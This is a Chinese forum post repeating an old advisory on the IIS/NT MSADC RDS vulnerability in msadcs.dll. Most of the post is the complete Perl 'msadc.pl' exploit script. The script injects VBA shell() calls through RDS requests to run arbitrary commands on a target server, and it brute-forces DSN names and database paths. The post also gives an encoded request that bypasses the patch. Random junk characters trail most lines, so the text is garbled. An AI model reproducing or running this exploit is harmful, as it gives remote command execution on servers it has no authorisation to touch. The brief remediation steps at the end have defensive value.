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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P]<15l  
M%v 6NxN  
涉及程序: sj8lvIY5  
Microsoft NT server dLtmG:II  
M@<r8M]G  
描述: 4;V;8a\A  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 e {805^X}  
k~IRds@G  
详细: [Y-3C47  
如果你没有时间读详细内容的话,就删除: 0s .X  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1BOv|xPjZ  
有关的安全问题就没有了。 EFz Pt?l  
8)XAdAr  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,)PpE&  
;uN&yj<}a  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Zy=DY  
关于利用ODBC远程漏洞的描述,请参看: ]/{iIS_  
V@pUU~6R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nQ08(8  
N4$ K {  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ls/*&u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |u_fVQj  
d5#z\E??  
这里不再论述。 q]#j,}cN9  
K8{ef  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: iH>IV0 <  
dfWtLY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Rh%C$d(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;!,I1{`  
3v>w$6  
ih(Al<IS  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +c' n,O~3  
!112u#V  
#!perl  I|. <  
# Xh@;4n  
# MSADC/RDS 'usage' (aka exploit) script IubzHf  
# z LZ HVvL3  
# by rain.forest.puppy ?$.x%G+  
# cf%aOHYI*  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E'^ny4gL  
# beta test and find errors! 8u7QF4 Id  
9gac7(2`)  
use Socket; use Getopt::Std; He1~27+99  
getopts("e:vd:h:XR", \%args); F0ylJ /E  
hq?F8 1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ZwM d 22  
3u/ GrsF  
if (!defined $args{h} && !defined $args{R}) { 2?kVbF  
print qq~ D*t[5,~j  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 58t~? 2E  
-h <host> = host you want to scan (ip or domain) h(p c GE  
-d <seconds> = delay between calls, default 1 second O:Wd ,3_  
-X = dump Index Server path table, if available p<c1$O*  
-v = verbose &"d :+!4h  
-e = external dictionary file for step 5 vDCbD#.6  
JfRqOEP4Y  
Or a -R will resume a command session ufo\p=pGG  
A9y@v{txN  
~; exit;} ]sJjV A  
Uj^Y\w-@Z  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; j+[oZfH  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |}Mthj9n  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} T[kS;-x  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &"DD&87N%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {Zo*FZcaX  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B/dJj#  
9qm'qx  
if (!defined $args{R}){ $ret = &has_msadc; "r HPcp"m  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} $ZlzS`XF7  
?N]G;%3/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" W/.Wp|C}K3  
. "cmd /c "; 2/ejU,S  
$in=<STDIN>; chomp $in; |y&vMx~t  
$command="cmd /c " . $in ; y\Wp} }  
.t.4y. 97  
if (defined $args{R}) {&load; exit;} aB{OXU}#  
3j2d&*0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Ls'8  
&try_btcustmr; R'qBG(?i  
Y8for'  
print "\nStep 2: Trying to make our own DSN..."; q+ka}@  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )kIjZ  
nPhREn!  
print "\nStep 3: Trying known DSNs..."; *iV#_  
&known_dsn; FpZ5@  
,.AXQ#~&`  
print "\nStep 4: Trying known .mdbs..."; >nO[5  
&known_mdb; 1rV9dM#F  
7pM&))R  
if (defined $args{e}){ b6g/SIae  
print "\nStep 5: Trying dictionary of DSN names..."; c*",AZ>U  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } f{U,kCv  
Ct]? /  
print "Sorry Charley...maybe next time?\n"; /w2NO9Q  
exit; F41gMg  
4%7Oaf>9  
############################################################################## 8# IEE|1  
m5 l&  
sub sendraw { # ripped and modded from whisker 3v3`d+;&  
sleep($delay); # it's a DoS on the server! At least on mine... S2?)Sb`  
my ($pstr)=@_; 0aGAF ]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eBqF@'DQ  
die("Socket problems\n"); n/^QPR$>.  
if(connect(S,pack "SnA4x8",2,80,$target)){ }[OEtd{  
select(S); $|=1; H>wXQ5?W;  
print $pstr; my @in=<S>; D0yH2[j+  
select(STDOUT); close(S); T#a6X;9P  
return @in; S"/gZfxer  
} else { die("Can't connect...\n"); }} :Yn{:%p  
\wV ?QH  
############################################################################## tD])&0"(  
- XB[2h  
sub make_header { # make the HTTP request A:*$rHbzl  
my $msadc=<<EOT k[\JT[Mp  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 .jl^"{@6  
User-Agent: ACTIVEDATA !X 0 (4^  
Host: $ip zKGr(9I  
Content-Length: $clen Kr%`L/%  
Connection: Keep-Alive 'grb@+w(  
@'"7[k!y;  
ADCClientVersion:01.06 lr$,=P`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 iOiXo6YE  
Hnf?`j>  
--!ADM!ROX!YOUR!WORLD! Z|j\_VKhl  
Content-Type: application/x-varg p7[&H/  
Content-Length: $reqlen a KIS%M#Y  
Ca0t}`<S  
EOT 5K00z?kD2V  
; $msadc=~s/\n/\r\n/g; }R`}Ey|{  
return $msadc;} LP) IL~  
QY$4D;M`g6  
############################################################################## ^ ?T,>ZI  
Q`UgtL  
sub make_req { # make the RDS request Nrc-@ ]  
my ($switch, $p1, $p2)=@_; >Vb V<ak  
my $req=""; my $t1, $t2, $query, $dsn; ;(IAhWE?7  
 =h}PL22  
if ($switch==1){ # this is the btcustmr.mdb query '>>@I~<\  
$query="Select * from Customers where City=" . make_shell(); n;k B_i*l  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . I bE Nq  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} w^/"j_p@  
;h#CT#R2  
elsif ($switch==2){ # this is general make table query M \>5",0  
$query="create table AZZ (B int, C varchar(10))"; `7'=~BP?X  
$dsn="$p1";} dfs1BV'  
Dm`gzGl  
elsif ($switch==3){ # this is general exploit table query J=ot& %  
$query="select * from AZZ where C=" . make_shell(); fw0Z- 9*  
$dsn="$p1";} N~B'gJJDx  
N}q*(r!q<  
elsif ($switch==4){ # attempt to hork file info from index server r8!M8Sc  
$query="select path from scope()"; +N!/>w]n  
$dsn="Provider=MSIDXS;";} |sDp>..  
sJ|IW0Mr  
elsif ($switch==5){ # bad query o Hrx$>W]  
$query="select"; 4<U6jB5  
$dsn="$p1";} @fd{5 >\  
F=yE>[! LB  
$t1= make_unicode($query); ~PCS_  
$t2= make_unicode($dsn); T7Yg^ -"  
$req = "\x02\x00\x03\x00"; E5$uvxCI  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;MjOs&1f0K  
$req.= "\x00\x00" . $t1 ; fwaM;YN_  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,tuZ_"?M  
$req.= "\x00\x00" . $t2 ; ;T WYO  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 1JN/oq;  
return $req;} %xt\|Lt  
#K/#-S  
############################################################################## Y'o.`':\~  
iD2>-yf  
sub make_shell { # this makes the shell() statement hj[sxC>z5  
return "'|shell(\"$command\")|'";} Xj21:IMR  
66cPoG  
############################################################################## }fz;La:b  
*1_A$14 l  
sub make_unicode { # quick little function to convert to unicode 9R4q^tGR\  
my ($in)=@_; my $out; 5<?/M<i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]BBjFs4#  
return $out;} ]yA_N>k2K  
^X slj  
############################################################################## C-ipxL"r  
=JB1]b{|  
sub rdo_success { # checks for RDO return success (this is kludge) 1iE*-K%Q  
my (@in) = @_; my $base=content_start(@in); U KdCG.E9^  
if($in[$base]=~/multipart\/mixed/){ jI807g+  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [E/8E h<  
return 0;} z#sSLE.$Z  
P4~C0z  
############################################################################## 8 9f{8B]z  
mKBPIQ+ZS  
sub make_dsn { # this makes a DSN for us 1PT0<C-  
my @drives=("c","d","e","f"); kam \dn04  
print "\nMaking DSN: "; !,PoH  
foreach $drive (@drives) { a5%IjgQ&z  
print "$drive: "; T8a!"lPP7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (1Ii86EP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !6d`e"\K  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z@J;sz  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; lF!Iu.MM 9  
return 0 if $2 eq "404"; # not found/doesn't exist WhR'MkfL  
if($2 eq "200") { ca8.8uHY\  
foreach $line (@results) { Sc&p*G  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `<d{(9:+  
} return 0;} 6w^Fee`>]  
gNzamorv[  
############################################################################## \+sP<'~M  
:KJZo,\  
sub verify_exists { N^K@$bs4^  
my ($page)=@_; Hsz).u  
my @results=sendraw("GET $page HTTP/1.0\n\n"); '} LAZQ"  
return $results[0];} )wz3 m L  
)F4P-u  
############################################################################## 6B>H75S+H  
/h73'"SpDy  
sub try_btcustmr { Iw) 'Yyg  
my @drives=("c","d","e","f"); qluaop  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HCKj8-*  
viR-h iD  
foreach $dir (@dirs) { <3c|S_|L*m  
print "$dir -> "; # fun status so you can see progress k/V:QdD Sb  
foreach $drive (@drives) { 1\+d 5Q0  
print "$drive: "; # ditto S`GM#(t@_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *Ldno`1O  
$reqlenlen=length( "$reqlen" ); C8.MoFfhe  
$clen= 206 + $reqlenlen + $reqlen; =qVD"Z]z  
?]u=5gqUU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); {H%1sI  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;]Bkw6 o  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Kzgnh gc  
Smlf9h&  
############################################################################## }F4   
*^P$^lm?S  
sub odbc_error { t.WWahNyY  
my (@in)=@_; my $base; t@\op}Z-M  
my $base = content_start(@in); 6H}8^'/u  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Qape DU;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G[5z3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F%>`?NG+c  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4I^8f||b_  
return $in[$base+4].$in[$base+5].$in[$base+6];} VCUEzR0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; sj0{;>>%+N  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 'w5g s}1D  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} }H<87zH  
|v%xOl  
############################################################################## o>Jr6: D(  
r b@{ir  
sub verbose { #q%V|Ajq  
my ($in)=@_; ",qJG]_ <  
return if !$verbose; 9n[ovX 7n!  
print STDOUT "\n$in\n";} s0x;<si_  
#y&O5    
############################################################################## L@HWm;aN  
n:wZL&ZV0  
sub save { Gt;59}  
my ($p1, $p2, $p3, $p4)=@_; 1ti4 ZM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; OwM.N+ z#T  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1W +QcK4k  
close OUT;} D/-$~u_o  
L H`z '7&/  
############################################################################## KnuQ 5\y  
i'bUX=JK  
sub load { KcQe1mT!+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; K-b'jP\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Pe_FW8e#J  
@p=<IN>; close(IN); 'u{DFMB-A  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); d]6#pSE  
$target= inet_aton($ip) || die("inet_aton problems"); U}Aoz|  
print "Resuming to $ip ..."; J_Pb R b  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E|fQbkfw  
if($p[1]==1) { J<'I.KZ\z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; I2PFJXp_]n  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; hO@VYO   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 7D%}( pX  
if (rdo_success(@results)){print "Success!\n";} a yQB@2%  
else { print "failed\n"; verbose(odbc_error(@results));}} # U j~F  
elsif ($p[1]==3){ 7xmif YC  
if(run_query("$p[3]")){ #c:b8rw  
print "Success!\n";} else { print "failed\n"; }} ZBAtRs  
elsif ($p[1]==4){ 3bW(VvgcL4  
if(run_query($drvst . "$p[3]")){ x#{.mN  
print "Success!\n"; } else { print "failed\n"; }} R2[-Q"|Ra  
exit;} u \zP`Y  
hqKftk)+  
############################################################################## (\M&Q-xZ  
ZNEWUt{+;^  
sub create_table { ~Z#jIG<?g  
my ($in)=@_; g/ict 2!  
$reqlen=length( make_req(2,$in,"") ) - 28; 9cm9;  
$reqlenlen=length( "$reqlen" ); D8''q%  
$clen= 206 + $reqlenlen + $reqlen; V 2WcPI^  
my @results=sendraw(make_header() . make_req(2,$in,"")); *To 5\|  
return 1 if rdo_success(@results); KLn.vA.  
my $temp= odbc_error(@results); verbose($temp); E5J2=xVW#  
return 1 if $temp=~/Table 'AZZ' already exists/; 8XU m.nV  
return 0;} N=oWIK<;-  
`:I<Jp  
############################################################################## (yx9ox@rL  
|NZVm}T  
sub known_dsn { \Y{^Q7!>:8  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go f2"1^M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", tM$w0Cj  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Mh+ym]6\(k  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); kr|u ||  
jo_wBJKE  
foreach $dSn (@dsns) { GrB+Y!{{  
print "."; U- a+LS  
next if (!is_access("DSN=$dSn")); hi30|^l-  
if(create_table("DSN=$dSn")){ ?Hd/!I&  
print "$dSn successful\n"; mw*BaDN@Q  
if(run_query("DSN=$dSn")){ v iJK%^U=-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wA#w] 8SM  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1[;~>t@C  
-3fzDxD  
############################################################################## ]8qFxJ+2^  
uzx?U3.\  
sub is_access { hZ obFf  
my ($in)=@_; G-)Q*p{i|  
$reqlen=length( make_req(5,$in,"") ) - 28; %;r0,lN|II  
$reqlenlen=length( "$reqlen" ); AGe\PCn-  
$clen= 206 + $reqlenlen + $reqlen; tJQFhY  
my @results=sendraw(make_header() . make_req(5,$in,"")); M;{btu^a  
my $temp= odbc_error(@results); c9eLNVM  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); kq SpZoV0'  
return 0;} 7jZ=+2  
zNs8yMnFr  
############################################################################## s]"NqwIPK  
-Pr1 r  
sub run_query { MyyNYZ  
my ($in)=@_; .cV<(J 5o  
$reqlen=length( make_req(3,$in,"") ) - 28; gJ8+HV  
$reqlenlen=length( "$reqlen" ); fgW>U*.ar  
$clen= 206 + $reqlenlen + $reqlen; vThK@P!s  
my @results=sendraw(make_header() . make_req(3,$in,"")); O7_u9lz2  
return 1 if rdo_success(@results); R4V~+tnbG&  
my $temp= odbc_error(@results); verbose($temp); v?U;o&L(  
return 0;} g(i_di  
i'$V'x'k  
############################################################################## VR@V3 ~  
{F/0pvP9  
sub known_mdb { csPziH$wl  
my @drives=("c","d","e","f","g"); nYcj6?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); z|o7k;raH  
my $dir, $drive, $mdb; fU )@Lj1Wo  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #]iSh(|8  
6Ch [!=p{  
# this is sparse, because I don't know of many DO#!ce  
my @sysmdbs=( "\\catroot\\icatalog.mdb", f+/AD  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |Mj2lZS  
"\\system32\\certmdb.mdb", (W~')A"hC'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \D9J!K82  
oM&}akPE  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", B J0P1vh6M  
"\\cfusion\\cfapps\\forums\\forums_.mdb", }'y=JV>l  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q;^Q1[Ari  
"\\cfusion\\cfapps\\security\\realm_.mdb", W_%p'8,  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", b=5"*=T{+  
"\\cfusion\\database\\cfexamples.mdb", |bwz  
"\\cfusion\\database\\cfsnippets.mdb", Lad8C  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", vbo:,]T<A  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9\_^"5l  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ne=?'e4  
"\\cfusion\\database\\smpolicy.mdb", Y~P1r]piB  
"\\cfusion\\database\cypress.mdb", {W[OjPC~F  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {xFgPtCM  
"\\website\\cgi-win\\dbsample.mdb", zT\nj&7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [ p+]H?(A  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [IF5Iv\b  
); #these are just Pp*:rA"N  
foreach $drive (@drives) { < )dqv0=  
foreach $dir (@dirs){ J-6l<%962%  
foreach $mdb (@sysmdbs) { Y;X_E7U  
print "."; m5wfQ_}}ss  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ o_.f7|U!  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m~[4eH,  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H+ P&} 3  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x:7"/H|  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~]MACG:'  
$Z{ap  
foreach $drive (@drives) { n#2tFuPE  
foreach $mdb (@mdbs) { ^~3u|u  
print "."; @B@`V F  
if(create_table($drv . $drive . $dir . $mdb)){ "Cj {Z@n  
print "\n" . $drive . $dir . $mdb . " successful\n"; [9wuaw"~[Z  
if(run_query($drv . $drive . $dir . $mdb)){ Q"6:W2#v  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; S2TyNZbQ  
} else { print "Something's borked. Use verbose next time\n"; }}}} x6i7x"  
} M+7&kt0;  
A5UZUU^  
############################################################################## \gBsAZE  
@O!BQ^'hk#  
sub hork_idx { !O`aaLc  
print "\nAttempting to dump Index Server tables...\n"; Lp|7s8?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <|!?V"`3  
$reqlen=length( make_req(4,"","") ) - 28; Hwz.5hV"  
$reqlenlen=length( "$reqlen" ); eHQS\n  
$clen= 206 + $reqlenlen + $reqlen; t",=]k  
my @results=sendraw2(make_header() . make_req(4,"",""));  iI!MF1  
if (rdo_success(@results)){ f,jN"  
my $max=@results; my $c; my %d; \jkMnS6FvL  
for($c=19; $c<$max; $c++){ ?06+"Z  
$results[$c]=~s/\x00//g; SBf8Ipe  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9!``~]G2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ` XvuyH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; n=z=%T6  
$d{"$1$2"}="";} Ft<6`C  
foreach $c (keys %d){ print "$c\n"; } %4=r .9  
} else {print "Index server doesn't seem to be installed.\n"; }} U<YP@?w  
\aEarIX#*  
############################################################################## AHo4% 5  
?M}W ;Z  
sub dsn_dict { jkVX>*.|oy  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); K&Sz8# +  
while(<IN>){ Q7!";ol2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; X6T*?t3!9[  
next if (!is_access("DSN=$dSn")); 8_d>=*(  
if(create_table("DSN=$dSn")){ R{3?`x!fY  
print "$dSn successful\n"; bAUruTn  
if(run_query("DSN=$dSn")){ O`;e^PhN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [Yq*DkW  
print "Something's borked. Use verbose next time\n";}}} S'h{["P~ 0  
print "\n"; close(IN);} q':P9 o*N?  
=tKb7:KU  
############################################################################## (GeOD V?U  
^$!H|  
sub sendraw2 { # ripped and modded from whisker P^)J^{r  
sleep($delay); # it's a DoS on the server! At least on mine... Z\\'0yuY(  
my ($pstr)=@_; ^Fn~@'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B24,;2J  
die("Socket problems\n"); xJ);P.  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7;8#iS/  
print "Connected. Getting data"; CDT%/9+-  
open(OUT,">raw.out"); my @in; ]8m_+:`=  
select(S); $|=1; print $pstr; 6T qs6*  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 7)i6L'r  
close(OUT); select(STDOUT); close(S); return @in; R7 WGc[  
} else { die("Can't connect...\n"); }} r(VGdG  
Ft[)m#Dj`  
############################################################################## l0v]+>1i:  
Ag82tDL[u  
sub content_start { # this will take in the server headers fF|m~#y  
my (@in)=@_; my $c; f4 [Bj{F  
for ($c=1;$c<500;$c++) { 4Odf6v,*@  
if($in[$c] =~/^\x0d\x0a/){ % >mB"Y,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } [PhT zXt  
else { return $c+1; }}} 8fH. E  
return -1;} # it should never get here actually 2Hp<(  
e8Y;~OAj[  
############################################################################## <hv {,1p-r  
aANzL  
sub funky { ] 'B4O1  
my (@in)=@_; my $error=odbc_error(@in); V6CRl&ZKO  
if($error=~/ADO could not find the specified provider/){ 7`G FtX}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `{B<|W$=  
exit;} W]-c`32~S  
if($error=~/A Handler is required/){ vJ a?5Jr  
print "\nServer has custom handler filters (they most likely are patched)\n"; *#| lhf'  
exit;} VGVb3@  
if($error=~/specified Handler has denied Access/){ ImG7E w  
print "\nServer has custom handler filters (they most likely are patched)\n"; .szc-r{  
exit;}} /7o{%~O  
9R1S20O  
############################################################################## u&npUw^Va  
,K-?M5(n9  
sub has_msadc { B7u4e8(E*  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); t*Xo@KA  
my $base=content_start(@results); q=J8SvSRl  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); rQ:+LVfXjA  
return 0;} Z{ AF8r  
"Xz[|Xl  
######################## b-"kclK  
mR1|8H!f  
EqjaD/6Y`  
解决方案: 3m]8>1e1"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V-N`R-FSr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 h)o5j-M>4  
: 6|nXL  
拿出来充数 哈哈
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